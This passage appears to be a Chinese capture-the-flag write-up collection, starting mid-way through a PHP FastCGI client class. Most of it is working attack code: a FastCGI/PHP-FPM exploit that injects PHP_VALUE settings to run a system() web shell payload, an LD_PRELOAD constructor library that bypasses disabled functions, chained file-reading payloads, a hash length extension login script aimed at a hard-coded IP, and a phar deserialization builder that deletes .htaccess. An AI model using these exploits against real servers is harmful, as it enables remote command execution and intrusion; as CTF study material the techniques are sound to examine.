const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Outstanding request statuses keyed by request id
*
* Each request is an array with following form:
*
* array(
* 'state' => REQ_STATE_*
* 'response' => null | string
* )
*
* @var array
*/
private $_requests = array();
/**
* Use persistent sockets to connect to backend
* @var Boolean
*/
private $_persistentSocket = false;
/**
* Connect timeout in milliseconds
* @var Integer
*/
private $_connectTimeout = 5000;
/**
* Read/Write timeout in milliseconds
* @var Integer
*/
private $_readWriteTimeout = 5000;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port)
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Define whether or not PHP should attempt to re-use sockets opened by previous
* request for efficiency
*
* @param Boolean $b true if persistent socket should be used, false otherwise
*/
public function setPersistentSocket($b)
{
$was_persistent = ($this->_sock && $this->_persistentSocket);
$this->_persistentSocket = (boolean)$b;
if (!$this->_persistentSocket && $was_persistent) {
fclose($this->_sock);
}
}
/**
* Get the pesistent socket status
*
* @return Boolean true if the socket should be persistent, false otherwise
*/
public function getPersistentSocket()
{
return $this->_persistentSocket;
}
/**
* Set the connect timeout
*
* @param Integer number of milliseconds before connect will timeout
*/
public function setConnectTimeout($timeoutMs)
{
$this->_connectTimeout = $timeoutMs;
}
/**
* Get the connect timeout
*
* @return Integer number of milliseconds before connect will timeout
*/
public function getConnectTimeout()
{
return $this->_connectTimeout;
}
/**
* Set the read/write timeout
*
* @param Integer number of milliseconds before read or write call will timeout
*/
public function setReadWriteTimeout($timeoutMs)
{
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout($this->_readWriteTimeout);
}
/**
* Get the read timeout
*
* @return Integer number of milliseconds before read will timeout
*/
public function getReadWriteTimeout()
{
return $this->_readWriteTimeout;
}
/**
* Helper to avoid duplicating milliseconds to secs/usecs in a few places
*
* @param Integer millisecond timeout
* @return Boolean
*/
private function set_ms_timeout($timeoutMs) {
if (!$this->_sock) {
return false;
}
return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
if ($this->_persistentSocket) {
$this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
} else {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
}
if (!$this->_sock) {
throw new \Exception('Unable to connect to FastCGI application: ' . $errstr);
}
if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
throw new \Exception('Unable to set timeout on socket');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && ($buf=fread($this->_sock, $len)) !== false) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new \Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$id = $this->async_request($params, $stdin);
return $this->wait_for_response($id);
}
/**
* Execute a request to the FastCGI application asyncronously
*
* This sends request to application and returns the assigned ID for that request.
*
* You should keep this id for later use with wait_for_response(). Ids are chosen randomly
* rather than seqentially to guard against false-positives when using persistent sockets.
* In that case it is possible that a delayed response to a request made by a previous script
* invocation comes back on this socket and is mistaken for response to request made with same ID
* during this request.
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return Integer
*/
public function async_request(array $params, $stdin)
{
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand(1, (1 << 16) - 1);
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
$request = $this->buildPacket(self::BEGIN_REQUEST
,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
,$id
);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
$info = stream_get_meta_data($this->_sock);
if ($info['timed_out']) {
throw new TimedOutException('Write timed out');
}
// Broken pipe, tear down so future requests might succeed
fclose($this->_sock);
throw new \Exception('Failed to write request to socket');
}
$this->_requests[$id] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
/**
* Blocking call that waits for response to specific request
*
* @param Integer $requestId
* @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
* @return string response body
*/
public function wait_for_response($requestId, $timeoutMs = 0) {
if (!isset($this->_requests[$requestId])) {
throw new \Exception('Invalid request id given');
}
// If we already read the response during an earlier call for different id, just return it
if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK
|| $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[$requestId]['response'];
}
if ($timeoutMs > 0) {
// Reset timeout on socket for now
$this->set_ms_timeout($timeoutMs);
} else {
$timeoutMs = $this->_readWriteTimeout;
}
// Need to manually check since we might do several reads none of which timeout themselves
// but still not get the response requested
$startTime = microtime(true);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
if ($resp['type'] == self::STDERR) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[$resp['requestId']]['response'] .= $resp['content'];
}
if ($resp['type'] == self::END_REQUEST) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
if ($resp['requestId'] == $requestId) {
break;
}
}
if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
// Reset
$this->set_ms_timeout($this->_readWriteTimeout);
throw new \Exception('Timed out');
}
} while ($resp);
if (!is_array($resp)) {
$info = stream_get_meta_data($this->_sock);
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout($this->_readWriteTimeout);
if ($info['timed_out']) {
throw new TimedOutException('Read timed out');
}
if ($info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof']) {
throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
}
throw new \Exception('Read failed');
}
// Reset timeout
$this->set_ms_timeout($this->_readWriteTimeout);
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new \Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new \Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new \Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $this->_requests[$requestId]['response'];
}
}
}
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
if (strpos($_REQUEST['host'], 'unix://') !== false) {
$client = new Client($_REQUEST['host']);
}else{
$client = new Client($_REQUEST['host'], $_REQUEST['port']);
}
$code = "<?php system(\$_REQUEST['command']);?>"; // php payload
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
}else{
$php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = php://input\ndisable_function=";
}
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/Sndav/flag");
}
`
boring_code
使用xxxbaidu.com绕过校验,考虑如何通过正则样子的函数,读取到flag。
url=http://ip/?code=echo(readfile(end(scandir(pos(localeconv())))));
可以列目录,但是读上一层的文件要么拼接字符串"../index.php",要么就chroot/chdir。
chroot/chdir会返回一个true,还需要有另一个函数可以处理这个参数。决定使用 true->1->46->'.',这个思路,最终payload
url=http%3A%2F%2FIP%2Frua.php%3Fcode%3Decho(readfile(end(scandir(chr(floor(sqrt(sinh(sqrt(sinh(sinh(sinh(asin(ceil(ceil(chdir(next(scandir(pos(localeconv())))))))))))))))))))%3B
EzCMS
- 哈希扩展攻击
- 上传phar文件,配合反序列化扩展攻击面
- 选择ZipArchive 类,利用其open函数,移除掉.htaccess
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashpumpy
import requests
# ?*8 adminadmin
result = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c', 'adminadmin', 'a', 8)
from urllib import *
data = {
'username':'admin',
'password': quote(result[1][5:])
}
cookies = {
'PHPSESSID':'1tdp5bqfks5mcsnbrjcbff90rs',
'user':result[0]
}
a = requests.post('http://112.126.102.158:9999/index.php',data=data,cookies=cookies)
print cookies
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
//include "config.php";
//@unlink("phar.phar");
class Profile{
public $username;
public $password;
public $admin;
}
class File{
public $filename;
public $filepath;
public $checker;
}
$phar = new Phar("sissel_lala.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new File();
$o->filename = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/c77e74e3c317a8fb80b46d0a4ada6473.sissel";
$o->filepath = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker = new Profile();
$o->checker->username = "/var/www/html/sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$o->checker->admin = new ZipArchive();
//$o = serialize($o);
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("aaa.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();